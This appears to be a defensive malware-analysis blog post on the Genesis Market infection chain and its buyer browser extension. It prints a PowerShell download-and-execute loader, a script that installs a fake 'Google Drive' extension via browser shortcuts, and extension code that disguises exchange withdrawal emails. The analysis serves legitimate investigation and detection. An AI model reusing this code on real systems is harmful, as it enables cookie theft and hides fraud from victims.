April 5, 2023

Technical analysis of the Genesis Market

For the last couple of weeks we’ve assisted the Dutch police in investigating the Genesis Market. In case you are unfamiliar with this market, it was used to sell stolen login credentials, browser cookies and online fingerprints (in order to prevent ‘risky sign-in’ detections), by some referred to as IMPaas, or Impersonation-as-a-Service. The market seemed to have started in 2018 and its activities have resulted in approximately two million victims. If you want to know more about this operation, you can read our other blog post. You can also check if your data has been compromised by the market operators via the website of the Dutch police.

In order to operate this market, victims were infected with malware that would steal all data from their browser. The malware was persistent, so that any new information added to the browser later could be stolen as well. Buyers would receive access to a custom Chromium build or browser extension which could load the stolen information of a victim.

We helped the police by analysing the malware that got installed by its victims and by analysing the browser that would be accessible for buyers. The focus was to determine the infection chain of the victim. Additionally, we looked at the browser available to buyers, to see if this would give new insights about the methods used by the market or the buyers. The victim in this case got infected in the second half of February.

Due to the short timespan in which this research had to be conducted, it can be that some details are missing or not 100% accurate. We’ve been careful to mention any uncertainties in this article. This article should however give some more insight on how this market operated and can hopefully give future researchers a head start if this market ever re-launches. In addition, it highlights a trend of attackers switching from stealing credentials to stealing session cookies, to cope with the increased adoption of multi-factor and risk-based authentication.

This analysis starts with a write-up of the infection chain and an analysis of the malware that gets dropped. In the second half we dig deeper into the buyers browser extension and how it can be fingerprinted. In case you are interested, Trellix also has a writeup of the exploit chain of one of the other victims.

The infection

Stage one: the loader

The infection we investigated started (ironically) because the victim wanted to activate his or her anti-virus product. Rather than paying for a subscription, the victim downloaded an illegal activation crack. This ended up uninstalling the original AV product and installing malware instead…

The activation crack came as an executable, setup.exe, packed in a ZIP file. Looking at the creation date, it seems like the file was created the day before. Possibly to bypass any new AV detection rules. The file is 444 MB in size, but the last 439 MB are all set to 0.

Upon further investigation, setup.exe seemed to be Inno Setup generated installer, with the packaged data being the malicious payload. Luckily, we could quickly test this hypothesis and make use of a wide array of tools to investigate the installer package further:

Using innoextract, a listing of the packaged files can be retrieved:

$ innoextract -e ./setup.exe -d extracted
Extracting "Ino JCcq7ie Supsup" - setup data version 6.1.0 (unicode)
 - "tmp/jcoigasjioqeg.dll" [temp]
 - "tmp/yvibiajwi.dll" [temp]
 - "tmp/isgoisegjoqwg.dll" [temp]
Done.

And looking at the file signatures:

$ cd extracted && file tmp/*
isgoisegjoqwg.dll: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1920x1080, components 3

jcoigasjioqeg.dll: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CS6 (Windows), datetime=2023:02:09 01:02:17], progressive, precision 8, 3840x2160, components 3

yvibiajwi.dll:     PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

The two images seem unrelated to the actual malware. They are a picture of a pride flag and a picture of LeBron James.

Setup images

yvibiajwi.dll stood out because there were multiple identical copies of that DLL in the directories created by setup.exe on the victim’s machine, but none of the other two files.

Additionally, the second stage executable setup.tmp loads yvibiajwi.dll at some point. More specifically, the following high level sequence of actions takes place:

  1. setup.exe creates a new directory, referred to as the setup temp directory from here on, with the format is-<5 uppercase random alphanumeric>.tmp in the directory retrieved by GetTempPath()
  2. setup.exe writes another executable, setup.tmp to the setup temp directory
  3. setup.exe launches setup.tmp with the command line argument /SL5="$B0638,3246841,963072,<path to setup.exe>"
  4. setup.tmp opens the setup.exe file, reads data from it and writes yvibiajwi.dll to the setup temp directory
  5. setup.tmp launches setup.exe with the command line argument /VERYSILENT
  6. setup.exe creates a new setup temp directory and writes setup.tmp to the new directory then launches it with a similar /SL5 command line argument
  7. setup.tmp reads yvibiajwi.dll from the packaged data in setup.exe and writes it to the most recently created setup temp directory
  8. setup.tmp loads yvibiajwi.dll

The second invocation with /VERYSILENT hides all of the installer’s windows, per Inno Setup’s documentation. Keeping Inno Setup’s intended purpose in mind, the above flow seems unusual. It would likely not be standard functionality unless there is extra code embedded into the generated installer, is there?

Embedded PascalScript

Inno Setup supports adding specialized tasks to a generated installer beyond simply unpacking the contents. An installer script can specify user-specified yet defined tasks in the [Tasks] section, or programs to execute in the [Run] section. Additionally, an installer script can also specify custom code in PascalScript to customize the (un-)installation process. setup.exe also includes an embedded compiled script which defines a function to be called on setup initialization. Using innounp and IFPSTools.NET, the embedded PascalScript can be unpacked and decompiled for analysis:

.version 23

.entry !MAIN

.type primitive(Pointer) Pointer
.type primitive(U32) U32
.type primitive(Variant) Variant
.type primitive(PChar) PChar
.type primitive(Currency) Currency
.type primitive(Extended) Extended
.type primitive(Double) Double
.type primitive(Single) Single
.type primitive(S64) S64
.type primitive(String) String
.type primitive(U32) U32_2
.type primitive(S32) S32
.type primitive(S16) S16
.type primitive(U16) U16
.type primitive(S8) S8
.type(export) funcptr(void()) ANYMETHOD
.type primitive(String) String_2
.type primitive(UnicodeString) UnicodeString
.type primitive(UnicodeString) UnicodeString_2
.type primitive(String) String_3
.type primitive(UnicodeString) UnicodeString_3
.type primitive(WideString) WideString
.type primitive(WideChar) WideChar
.type primitive(WideChar) WideChar_2
.type primitive(Char) Char
.type primitive(U8) U8
.type primitive(U16) U16_2
.type primitive(U32) U32_3
.type(export) primitive(U8) BOOLEAN
.type primitive(U8) U8_2
.type(export) class(TWIZARDFORM) TWIZARDFORM
.type(export) class(TMAINFORM) TMAINFORM
.type(export) class(TUNINSTALLPROGRESSFORM) TUNINSTALLPROGRESSFORM

.global(import) TWIZARDFORM WIZARDFORM
.global(import) TMAINFORM MAINFORM
.global(import) TUNINSTALLPROGRESSFORM UNINSTALLPROGRESSFORM

.function(export) void !MAIN()
	ret

.function(import) external dll("shell32.dll","ShellExecuteW") __stdcall returnsval shell32.dll!ShellExecuteW(__in __unknown,__in __unknown,__in __unknown,__in __unknown,__in __unknown,__in __unknown)

.function(import) external dll("files:yvibiajwi.dll","RedrawElipse") __cdecl void files:yvibiajwi.dll!RedrawElipse(__in __unknown)

.function(export) BOOLEAN INITIALIZESETUP()
	pushtype S32 ; StackCount = 1
	pushtype S32 ; StackCount = 2
	pushtype S32 ; StackCount = 3
	pushtype S32 ; StackCount = 4
	pushtype S32 ; StackCount = 5
	pushtype String_3 ; StackCount = 6
	pushtype S32 ; StackCount = 7
	pushtype S32 ; StackCount = 8
	pushtype S32 ; StackCount = 9
	pushvar RetVal ; StackCount = 10
	call WIZARDSILENT
	pop ; StackCount = 9
	assign Var1, S32(3490579)
	assign Var4, S32(6006047)
	add Var4, Var1
	assign Var8, S32(2538214)
	add Var8, Var1
	assign Var4, S32(0)
	pushtype BOOLEAN ; StackCount = 10
	assign Var10, RetVal
	setz Var10
	sfz Var10
	pop ; StackCount = 9
	jf loc_245
	pushtype BOOLEAN ; StackCount = 10
	pushtype S32 ; StackCount = 11
	pushtype S32 ; StackCount = 12
	assign Var12, S32(5)
	pushtype UnicodeString_2 ; StackCount = 13
	assign Var13, UnicodeString_3("")
	pushtype UnicodeString_2 ; StackCount = 14
	assign Var14, UnicodeString_3("/VERYSILENT")
	pushtype UnicodeString_2 ; StackCount = 15
	pushtype UnicodeString_2 ; StackCount = 16
	assign Var16, UnicodeString_3("{srcexe}")
	pushvar Var15 ; StackCount = 17
	call EXPANDCONSTANT
	pop ; StackCount = 16
	pop ; StackCount = 15
	pushtype UnicodeString_2 ; StackCount = 16
	assign Var16, UnicodeString_3("")
	pushtype S32 ; StackCount = 17
	assign Var17, S32(0)
	pushvar Var11 ; StackCount = 18
	call shell32.dll!ShellExecuteW
	pop ; StackCount = 17
	pop ; StackCount = 16
	pop ; StackCount = 15
	pop ; StackCount = 14
	pop ; StackCount = 13
	pop ; StackCount = 12
	pop ; StackCount = 11
	le Var10, Var11, S32(32)
	pop ; StackCount = 10
	sfz Var10
	pop ; StackCount = 9
	jf loc_203
	assign Var5, S32(3391624)
	assign Var7, S32(840271)
	add Var7, Var1
	add Var7, S32(24673)
	assign Var7, S32(128817)
	assign RetVal, BOOLEAN(1)
	assign Var9, S32(4775799)
loc_203:
	assign Var6, UnicodeString_3("HqKTEgDM0D2xEzOpyamSPdX")
	jump loc_325
loc_245:
	assign Var9, S32(2482010)
	assign Var2, S32(1011875)
	assign Var9, S32(498847)
	assign Var4, S32(1795972)
	pushtype S32 ; StackCount = 10
	assign Var10, S32(490102)
	call files:yvibiajwi.dll!RedrawElipse
	pop ; StackCount = 9
	assign Var6, UnicodeString_3("cbdmPSyrpKqYV1")
	assign Var5, S32(1512452)
	pushtype UnicodeString_3 ; StackCount = 10
	assign Var10, Var6
	add Var10, UnicodeString_3("eIfOyEgNLbgUddEtLD")
	assign Var6, Var10
	pop ; StackCount = 9
loc_325:
	ret

.function(import) external internal returnsval WIZARDSILENT()

.function(import) external internal returnsval EXPANDCONSTANT(__in __unknown)

The functionality implemented by the above script seems to match up with the observed behavior. When the installer process executes it in ‘SILENT’ mode, it also invokes a function called RedrawElipse in yvibiajwi.dll, which kicks off the next stage of the infection chain.

Diving into yvibiajwi.dll

The DLL seems to be written in C++. Upon loading this DLL in IDA, we’re finally met with our first taste of control flow obfuscation in the infection chain so far:

Obfuscation

The obfuscation techniques applied are limited to runs of bogus Windows/libc API calls that are guarded by an always false if condition or empty loops, so it’s relatively simple to ignore them:

Deobfuscated

With the control flow cleaned up a bit, we can finally tell that the DLL is another dropper which loads a piece of shellcode and executes it. However, execution of the shellcode is not done on DLL loading in DllMain, instead DllMain only sets up a few pointers and allocates memory for the shellcode and nothing else. In order to execute the embedded shellcode, the exported RedrawElipse function has to be called with the first argument set to 0x77A76 or 490102. Of course, this is exactly how the function is invoked in the embedded PascalScript in setup.exe:

...
	pushtype S32 ; StackCount = 10
	assign Var10, S32(490102)
	call files:yvibiajwi.dll!RedrawElipse
...

Once invoked, RedrawElipse eventually calls crypt32.dll!CryptStringToBinaryA to decode the embedded base64 shellcode block. It then decrypts the decoded block using what seems to be a custom 64-bit block cipher with a hardcoded key then executes the decrypted shellcode.

The shellcode then decrypts an embedded loader executable using the eXtended Tiny Encryption Algorithm (XTEA) block cipher and uses process hollowing to inject it into a newly spawned explorer.exe process. Afterwards, the injected loader downloads a file from http://194.135.33[.]96/rozemarin.exe, which gets renamed to svchost.exe and executed. It also executes a PowerShell script which downloads some more resources. Both are described in more detail hereafter.

Taking a closer look at svchost.exe

All of the stages prior to the one that loaded this executable involved dropping a static next stage in some shape or form. However, this executable was downloaded and is therefore one of the first elements of the infection chain that might differ from one campaign to the next. Case in point: after extracting the previous stage’s executable, we found a matching submission (by hash) on VirusTotal. In addition, linked to the VirusTotal submission is a VMRay analysis report showing a different hash for the svchost.exe executable to this one which was acquired from the victim’s filesystem.

Focusing on this svchost.exe version: it sets off another series of nested encrypted shellcode stages. The first stage is decrypted and executed, which sets up and executes the second stage and so on. Each stage is encrypted differently from its successor:

  1. The first stage is encrypted using the Tiny Encryption Algorithm (TEA) block cipher.
  2. The second stage is encrypted using a custom cipher.
  3. The third and final stage is an executable that is embedded in plaintext in the second stage.

Interestingly, the final stage is executed through “self PE injection”. This is achieved by having the second stage shellcode replace the PE of its own process, namely the svchost.exe executable, with the embedded final stage’s PE. Afterwards, relocations are updated to match those of the final stage PE, and the second stage shellcode jumps to the now-mapped final stage executable’s entry point.

While analyzing the final executable, we noticed that there is quite some similarity between it and a DLL found on the victim’s machine which matched the Danabot malware. This makes sense, as we learned that the Genesis Market relied on multiple known botnets in the past. AZORult, GoodKit and Arkei also seem linked to prior infections. The reason we suspected Danabot is because both pieces of code are written in Delphi and are heavily obfuscated using almost identical techniques. We were able to find a much stronger link when analysing the chain starting from svchost.exe dynamically:

Dropped and executed DLL by the malicious svchost.exe

The screenshot above shows that the at some point, svchost.exe writes the malicious Qruhaepdediwhf.dll DLL to the user’s %TMP% directory and loads it using rundll32.exe. Shortly after doing so, svchost.exe’s process exits while the rundll32.exe process that loaded the malicious DLL continues. Furthermore, we found that both the Qruhaepdediwhf.dll file from the victim’s device and the one dropped in the analysis detonation run are almost identical except for what seems to be a randomly generated hex-encoded identifier at offset 0x0050695C (exact identifiers modified):

$ diff <(hexdump -C original_Qruhaepdediwhf.dll) <(hexdump -C dropped_Qruhaepdediwhf.dll)
328300,328302c328300,328302
< 00506950  04 55 41 00 0c 55 41 00  14 55 41 00 41 41 41 41  |.UA..UA..UA.AAAA|
< 00506960  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
< 00506970  41 41 41 41 41 41 41 41  41 41 41 41 7a 7a 00 00  |AAAAAAAAAAAAzz..|
---
> 00506950  04 55 41 00 0c 55 41 00  14 55 41 00 42 42 42 42  |.UA..UA..UA.BBBB|
> 00506960  42 42 42 42 42 42 42 42  42 42 42 42 42 42 42 42  |BBBBBBBBBBBBBBBB|
> 00506970  42 42 42 42 42 42 42 42  42 42 42 42 7a 7a 00 00  |BBBBBBBBBBBBzz..|

At this stage, we stopped analysing the infection chain further since the links between the artefacts on the victim’s device and the suspected initial infection vector have been sufficiently clarified. The remainder of this document focuses on the parts of the malware that are more strongly related to the market’s illicit activities.

Downloading remote resources

As mentioned earlier, the final loader executable that is executed by the decoded shellcode in yvibiajwi.dll not only drops svchost.exe, but also runs the following PowerShell command:

$w = new-object System.Net.Webclient;
$bs = $w.DownloadString("http://tchk-1[.]com/v3.bs64");

[Byte[]] $x=[Convert]::FromBase64String($bs.Replace("!", "A").Replace("@", "W").Replace("$", "x").Replace("%", "y").Replace(" ^", "z"));

for ($i = 0; $i -lt $x.Count; $i++) {
    $x[$i] = ($x[$i] -bxor 255) -bxor 11
}

iex([System.Text.Encoding]::UTF8.GetString($x))

This downloads a new PowerShell command from the remote host tchk-1[.]com, which gets executed. Further analysis of this host revealed that it is just a proxy (using HAProxy), forwarding requests to other hosts.

Besides v3.bs64 there seem to be other versions as well, such as 5.ps1. In general it seems to do either contain encoded files inline, or download these files separately. These files constitute an unpacked browser extension, which (in case of our victim) gets saved in $localAppData\Default. Then the script iterates over all start menu items, looking for shortcuts to browsers based on Chromium, such as Google Chrome and Brave. It modifies these shortcuts by appending --load-extension=<extension path> to each shortcut such that the just dropped extension gets loaded.

Below you can find the decoded version of v3.bs64, though encoded data has been removed for readability:

$strangeDesktop = [Environment]::GetFolderPath("CommonDesktopDirectory")
$programFiles = [Environment]::GetFolderPath("ProgramFiles")
$appData = [Environment]::GetFolderPath("ApplicationData")
$userProfile = [Environment]::GetFolderPath("UserProfile")
$localAppData = [Environment]::GetFolderPath("LocalApplicationData")

$encodedData = @{"src/functions/exchangeSettings.js"="..."...}

$destination = "$localAppData\Default"

if (-not (Test-Path $destination)) {
    New-Item $destination -ItemType Directory | Out-Null
}

foreach ($item in $encodedData.GetEnumerator()) {
    $decodedContent = [System.Convert]::FromBase64String($item.Value)
    $filePath = Join-Path $destination $item.Key
    $directoryPath = Split-Path $filePath -Parent
    if (-not (Test-Path $directoryPath)) {
        New-Item $directoryPath -ItemType Directory | Out-Null
    }
    [System.IO.File]::WriteAllBytes($filePath, $decodedContent)
}

$startMenuPrograms = @(
    "$strangeDesktop",
    "$userProfile\Desktop",
    "$appData\Microsoft\Internet Explorer\Quick Launch"
)

$braveWorkingFolder = "$programFiles\BraveSoftware\Brave-Browser\Application"
$chromeWorkingFolder = "$programFiles\Google\Chrome\Application"
$operaGXWorkingFolder = "$localAppData\Programs\Opera GX"
$extensionPath = "$localAppData\Default"
$shell = New-Object -ComObject WScript.Shell

Get-ChildItem -Path $startMenuPrograms -Filter *.lnk -Recurse -Force |
    Where-Object {
        $link = $shell.CreateShortcut($_.FullName)
        $link.WorkingDirectory -eq $braveWorkingFolder -or
        $link.WorkingDirectory -eq $chromeWorkingFolder -or
        $link.WorkingDirectory -eq $operaGXWorkingFolder
    } |
    ForEach-Object {
        $link = $shell.CreateShortcut($_.FullName)
        $link.Arguments = "$($link.Arguments) --load-extension=`"$extensionPath`""
        $link.Save()
    }

Stop-Process -Name "chrome" -Force
Stop-Process -Name "opera" -Force
Stop-Process -Name "brave" -Force

The victim’s browser extension: Google Drive

We believe the extension that gets dropped and loaded into Chrome is directly related to the market. It poses itself as Google Drive, as can been seen in its manifest.json:

{
  "offline_enabled": true,
  "name": "Google Drive",
  "author": "Google inc.",
  "description": "Google Drive: create, share and keep all your stuff in one place.",
  "version": "1.8.7",
  "icons": {
    "128": "ico.png"
  },
  "permissions": [
    "scripting",
    "webNavigation",
    "system.cpu",
    "system.display",
    "system.storage",
    "system.memory",
    "management",
    "storage",
    "cookies",
    "notifications",
    "tabs",
    "history",
    "webRequest",
    "declarativeNetRequest",
    "alarms"
  ],
  "manifest_version": 3,
  "background": {
    "service_worker": "./src/background.js",
    "type": "module"
  },
  "host_permissions": [
    "<all_urls>"
  ],
  "content_scripts": [
    {
      "matches": [
        "<all_urls>"
      ],
      "all_frames": true,
      "js": [
        "src/content/main.js",
        "src/mails/gmail.js",
        "src/mails/hotmail.js",
        "src/mails/yahoo.js"
      ],
      "run_at": "document_start"
    }
  ],
  "declarative_net_request": {
    "rule_resources": [
      {
        "id": "disable-csp",
        "enabled": false,
        "path": "rules.json"
      }
    ]
  }
}

It injects several content scripts and it declares some rewrite rules that disable the Content Security Policy. The extension itself consists of multiple JavaScript files, for which no effort was made to obfuscate them. Let’s look a little closer to its features. Below you can see a file listing of the extension, which already paints a picture of what to expect:

$ find . -type f
./config.js
./ico.png
./rules.json
./manifest.json
./app.html
./modules/content-scripts-register-polyfill.4.0.0.js
./src/mails/yahoo.js
./src/mails/hotmail.js
./src/mails/gmail.js
./src/background.js
./src/content/main.js
./src/functions/proxy.js
./src/functions/csp.js
./src/functions/exchangeSettings.js
./src/functions/tabs.js
./src/functions/sentry.js
./src/functions/screenshot.js
./src/functions/commands.js
./src/functions/utils.js
./src/functions/getMachineInfo.js
./src/functions/extensions.js
./src/functions/notifications.js
./src/functions/settings.js
./src/functions/injections.js

Somewhat surprisingly, the discovered extension includes the Sentry.io analytics service using the following URL:

https://c8fc9104534a411a83cbe61b6d912083@o4504639317803008.ingest.sentry[.]io/4504639321407488

In a later version of the extension we analysed, this reference was removed.

Command and Control

The first thing we noticed was how it determines its C2 server. For this it relied on monitoring outgoing transactions from a single Bitcoin address (bc1qtms60m4fxhp5v229kfxwd3xruu48c4a0tqwafu), using the JSON API of blockchain.info. This address has made a single transaction, to a legacy Bitcoin address 1C56HRwPBaatfeUPEYZUCH4h53CoDczGyF. This address can be Base58 decoded, resulting in the domain you-rabbit[.]com. This host is then contacted as the C2 server.

Since this transaction took place on February 6th 2023, prior infections must have used either a different technique, or relied on a different Bitcoin address to determine its C2 host. For this we downloaded a copy of the Bitcoin transaction database from January and decoded all legacy addresses to see if we could find any similar addresses, but this did not result in any matches. This could indicate that this was a new technique they just adopted in the last few months.

Oh no! There is something wrong with my Bitcoin wallet

One of the things the extensions monitors for is emails you might receive from various crypto exchanges. If so, it rewrites the email, to make them look less suspicious. For example, changing an email about a withdrawal into an email about a new sign-in:

if (window.location.href.indexOf('mail.google') > -1) {
    const binance = () => {
        let items = $(document).find(':contains("Withdrawal Requested")').filter(function () {
            return $(this).children().length === 0;
        })

        for (const item of items) {
            $(item).text(`[Binance] Authorize New Device`)
        }

        items = $(document).find('span:contains("Memo:")')

        for (const item of items) {
            $(item).html(`<span class="Zt">&nbsp;-&nbsp;</span>Authorize New Device You recently attempted to sign in to your Binance account from a new device or location. As a security measure, we require additional confi.`)
        }

        items = $($(document).find('div:contains("Memo:")').filter(function () {
            return $(this).children().length === 0;
        })[0]).parents('.ii')

        for (const item of items) {
            const code = $($(item).find('div[style*="font-size:20px"]')[1]).find('div').text()

            $(item).html('...')
        }
    }
    ...
}

They have support for Gmail, Hotmail/Outlook and Yahoo and seem to monitor emails from Binance, Bybit, Huobi, Okx, Kraken, KuCoin and Bittrex.

Since they don’t actually check for the domain name, but rather if e.g. ‘mail.google’ is present somewhere in the URL, we can use this to detect if an user is infected with this extension:

<script type="text/javascript">

if (window.location.href.indexOf("mail.google+outlook.live+yahoo") === -1) {
	window.location.href = window.location.href + "#scan=mail.google+outlook.live+yahoo";
}

setTimeout(function analyze() {
	var checks = [];
	
	// The + is needed to avoid this element itself being modified!
	checks.push(document.getElementById("binance").innerText !== "Withdrawal " + "Requested");
	checks.push(document.getElementById("huobi").innerText !== "Подтвердите " + "запрос на вывод средств");
	checks.push(document.getElementById("okx").innerText !== "Verification " + "Code Of Withdrawal");
	checks.push(document.getElementById("kraken").innerText !== "Confirm " + "your new withdrawal address");
	checks.push(document.getElementById("kucoin").innerText !== "KuCoin " + "Verification Code");
	checks.push(document.getElementById("bitget").innerText !== "Add " + "withdrawal address");
	checks.push(document.getElementById("bittrex").innerText !== "Please " + "Confirm Your Withdrawal");

	var found = 0;

	for (i in checks) {
		if (checks[i]) found += 1;
	}

	if (found === 0) {
		document.getElementById('result').innerText = "Good news! The malicious browser extension was not detected.";
	} else {
		document.getElementById('result').innerHTML = "Bad news! We also detected this extension on your system. We would advice you to go to the website of the <a href='https://politie.nl/checkyourhack'>Dutch police</a>, where they can assist you further.";
	}
}, 2000)

</script>

<p style="display: none;" id="binance">Withdrawal Requested</p>
<p style="display: none;" id="huobi">Подтвердите запрос на вывод средств</p>
<p style="display: none;" id="okx">Verification Code Of Withdrawal</p>
<p style="display: none;" id="kraken">Confirm your new withdrawal address</p>
<p style="display: none;"id="kucoin">KuCoin Verification Code</p>
<span style="display: none;" id="bitget">Add withdrawal address</span>
<p style="display: none;" id="bittrex">Please Confirm Your Withdrawal</p>

<div id="result">Checks still running...</div>

This script is embedded on this page, and the result is:

Deputizing the victim’s browser - request proxying

Another interesting feature of the malicious browser extension is the ability to proxy HTTP requests through the victim’s browser. This feature can be enabled at any time by the C2 server using the aptly-named proxy command (more on the other supported commands later). In addition, the feature can also be enabled during registration with the C2 server if isEnabledProxy is set to true in the JSON-formatted response of the registration endpoint at https://{c2.domain}/api/machine/init.

When enabled, the proxy feature attempts to set up a WebSocket connection channel to another C2 server which is relayed by the main C2 server in the response to https://{c2.domain}/api/machine/settings on port 4343. Once set up, the proxy submodule will wait for commands from its associated C2 server, which can be one of:

  • HTTP_REQUEST request a URL through the victim’s browsers, adding the victim’s own cookies using the fetch() API
  • AUTH provide the uuid of the malicious extension’s instance
  • GET_COOKIES get a copy of all the cookies

Requests made by the C2 server through the HTTP_REQUEST command occur within the context of the extension, making them invisible to victims. We were able to test this specific subset of the functionality by creating our own set of emulated C2 servers, so we could see the proxy functionality in action asking the extension to make a request to http://localhost:8080/test2:

HTTP_REQUEST message sent by the emulated C2 server to the browser extension

As a result, the extension indeed issued a request to http://localhost:8080/test2:

Requests from the extension to localhost:8080/test2

Despite the existence of this proxy feature, its intended use case remains a mystery to us. From the point of view of features available to market users, the buyers’ extension - which is further elaborated on later in this writeup - makes no reference to this feature. There is the possibility to set a SOCKS5 proxy in the extension settings page, but that does not seem related to the malicious extension’s proxy feature. Additionally, the user manual only mentions the SOCKS5 proxy feature.

It may be the case that proxying through the victim’s machine is possible for bot buyers, perhaps through a SOCKS5 interface exposed by the Danabot-like malware that’s deployed as part of the infection chain. However, we do not have enough information to make any definitive conclusions on whether these features are available to buyers or not.

Other functionality

Besides rewriting emails and proxying requests, the C2 server can send the following commands to the victim:

  • extension enable or disable a certain browser extension
  • info get information about the victim’s machine (e.g. WebGL machine details)
  • push send a push notification
  • cookies get a copy of all cookies
  • screenshot send back a screenshot of the page currently open in the browser
  • url open a URL in the browser
  • current_url send back the URL of the current tab
  • history send back the browser history
  • injects download a new set of rules from the server, which specify extra JavaScript to execute on certain domains
  • settings get a new settings object from the server; for example links it should grab

Analysis of the browser (extension) for buyers

Buyers on the market get access to a Chromium extension (as .crx file) and a browser (based on ungoogled-chromium) with the extension preinstalled. This extension can easily import bought fingerprints and cookies.

General functionality

The extension, once activated, allows buyers to automatically import bought fingerprints and cookies. Furthermore, it allows for the setup of an SOCKS5 based proxy. The plugin can been seen in action in the GIF below.

Browser in action

Analyzing the source code

This extension is heavily obfuscated, making it difficult to determine exactly how it works and what features it offers. We combined the analysis of the source code with dynamic analysis in an isolated VM.

The extension requires a large list of permissions, for example, allowing it full access to all visited pages. The full list of permissions is:

"permissions": ["<all_urls>", "tabs", "storage", "unlimitedStorage", "cookies", "webNavigation", "webRequestBlocking", "webRequest", "browsingData", "privacy", "background", "bookmarks", "downloads", "clipboardRead", "clipboardWrite", "contentSettings", "contextMenus", "history", "idle", "management", "pageCapture", "topSites", "system.cpu", "system.memory", "system.storage", "declarativeContent", "activeTab", "power", "desktopCapture", "proxy"],

This list contains a number permissions for which it is not clear what functionality they are intended for, such as desktopCapture, system.cpu and power.

When the extension is installed, users need to activate it using an “activation code”. When a code is entered, the browser sends a POST request to the following URL:

https://sync.approveconnects[.]com/security

If this request fails, it tries again with the following URL:

https://sync.gsconnects[.]com/security

This request contains a multipart body with 3 variables: a, v and i. Each field is encrypted and is included as binary data in the multipart body. The encryption of the activation key (the field a) works as follows:

  • The activation key is encoded as a JSON string (enclosed in double quotes).
  • This string is URL-encoded (replacing the double quotes with %22, etc.).
  • This result is then compressed using deflate (the compression algorithm used by zlib, but without a zlib header).
  • Then, a key and IV are generated. This uses the OpenSSL EVP_BytesToKey KDF with a random 8-character salt and the hard-coded password liauyd(o*!&@#ijKj@!#asdg2134.
  • The compressed data is encrypted using AES-CBC with the generated key and IV and with PKCS7 padding.
  • The data submitted in the request is the random salt followed by the cipher text.

The parameters v and i are encrypted in a similar way, but with a different password. The password is generated by taking the activation key, swapping the case of all letters (replacing lowercase characters with uppercase characters and vice versa) and appending the string asdg2134.

The parameter v contains the version number of the plugin (currently 7.2), as a JSON dictionary:

{"v": "7.2"}

The parameter i contains certain fingerprinting data of the browser and extension, such as the user agent, OS details and a list of the removable drives on the user’s machine. We don’t see any way this could be relevant for the extension, so this is likely just included to monitor and track the buyers:

{
  "p": {
    "p": {
      "a": "aarch64",
      "b": "",
      "c": "",
      "d": 6
    },
    "m": {
      "a": 4113801216
    },
    "s": {
      "a": {
        "c": [],
        "a": [
          "536870912|777db833-9d2e-40e5-a1cb-75b26827b847|/boot/efi|/boot/efi",
          "1048576|7ff0d82f-ee43-4c1d-85a4-a5af0aa1aab5|/media/user/6c781ebb-c8e1-430b-84ae-1bc1ff6891ee|/media/user/6c781ebb-c8e1-430b-84ae-1bc1ff6891ee",
          "32797360128|0f25215a-4b5c-4569-ab5a-552bc703bd94|/|/"
        ],
        "b": []
      }
    },
    "i": {
      "a": {
        "c": [],
        "a": [
          "536870912|777db833-9d2e-40e5-a1cb-75b26827b847|/boot/efi|/boot/efi",
          "1048576|7ff0d82f-ee43-4c1d-85a4-a5af0aa1aab5|/media/user/6c781ebb-c8e1-430b-84ae-1bc1ff6891ee|/media/user/6c781ebb-c8e1-430b-84ae-1bc1ff6891ee",
          "32797360128|0f25215a-4b5c-4569-ab5a-552bc703bd94|/|/"
        ],
        "b": []
      }
    }
  },
  "j": {
    "c": "9a3bd3e8cebf17110f689f58a4a1f43e",
    "w": "6c14da109e294d1e8155be8aa4b1ce8e",
    "s": "Chrome 111",
    "p": {
      "ua": "Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36",
      "browser": {
        "name": "Chrome",
        "version": "111.0.0.0",
        "major": "111"
      },
      "engine": {
        "version": "537.36",
        "name": "WebKit"
      },
      "os": {
        "name": "Linux",
        "version": "aarch64"
      },
      "device": {},
      "cpu": {}
    },
    "a": "ad449aba7595468941c6d3b6aad54a4fc76797aa",
    "t": {
      "s": 0,
      "b": 1
    }
  }
}

The server can reverse this process by first decrypting the activation code, generating the same key and IV using the salt. Then the activation code can be used to decrypt the v and i fields.

Jumping through all these hoops does gives us an ‘activated’ extension:

Activated extension

At regular intervals, the extension will submit its activation code again (specified by renew_interval/renew_enabled). This request contains the same variables as the first activation request with 3 additional fields: b, e and d. The exact meaning of these fields has not yet been determined.

While the code is obfuscated, the settings reveal some of its functionality. We managed to obtain the following configuration object from the extension:

{
  "pl_version": "7.2",
  "sel_pl_version": "7.2",
  "options_version": "7.2",
  "available_versions": [
    "7.2"
  ],
  "storage_key": "ext_set",
  "enabled": true,
  "useragent": null,
  "renew_enabled": true,
  "renew_interval": 3600000,
  "renew_onstartup": true,
  "sync": false,
  "proxy_enabled": false,
  "proxy": {
    "ip": false,
    "port": false,
    "type": false
  },
  "settings": {
    "bf": false
  },
  "exceptions_list": [
    "chrome://*"
  ],
  "links_domain_sync": [
    "sync.approveconnects.com",
    "sync.gsconnects.com"
  ],
  "link_path_sync": "/security/",
  "link_path_bots": "/client/bots",
  "link_path_profile": "/client/account/profile",
  "links_domain_shop": [
    "genesis.market",
    "g3n3sis.pro",
    "g3n3sis.org"
  ],
  "keep_domains": "genesis.market\\ng3n3sis.pro\\ng3n3sis.org",
  "links_bugreport": "",
  "selected_fp": {
    "bot_id": "",
    "hash_unique": ""
  },
  "act_key": false,
  "plugin_id": false,
  "clean_settings": {
    "items": {},
    "since": 0
  }
}

The URL for the activation is constructed by taking a value from the links_domain_sync and appending the link_path_sync path.

Note that this extension had just been installed and not activated, so the values when in use will be different. It looks likely that the link_path_bots endpoint is used to automatically retrieve the list of cookies and online fingerprints that the buyer has bought. The proxy and selected_fp fields would be filled with settings if the extension was in use.

The configuration can also be obtained from disk from files at the following path:

<Chrome Settings Dir>/Default/Local Extension Settings/<Extension ID>/*.log

This is a LevelDB database, which appears to also keep a number of older versions of the configuration.

